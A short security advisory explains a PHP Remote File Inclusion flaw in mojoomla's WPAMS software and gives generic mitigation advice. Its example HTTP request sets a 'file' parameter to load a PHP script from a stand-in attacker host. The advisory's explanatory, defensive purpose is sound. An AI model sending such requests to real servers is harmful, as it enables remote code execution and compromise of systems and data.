How the Exploit Works
This vulnerability stems from an improper control of a filename for an Include/Require statement in a PHP program, specifically within the mojoomla WPAMS software. This improper control allows for a PHP Remote File Inclusion, which means an attacker could manipulate the filename to include a file from a remote server. This file could contain malicious script that is executed on the host server, potentially leading to a system compromise or data leakage.
Conceptual Example Code
In a potential exploitation scenario, an attacker might send a malicious HTTP request to a vulnerable endpoint like this:
GET /wpams.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the ‘file’ parameter is manipulated to include a PHP file from the attacker’s server (‘http://attacker.com/malicious.php’).
Recommendations for Mitigation
To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as it is available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploit attempts. Regularly updating and patching software, along with implementing secure coding practices, can also help protect against such vulnerabilities.
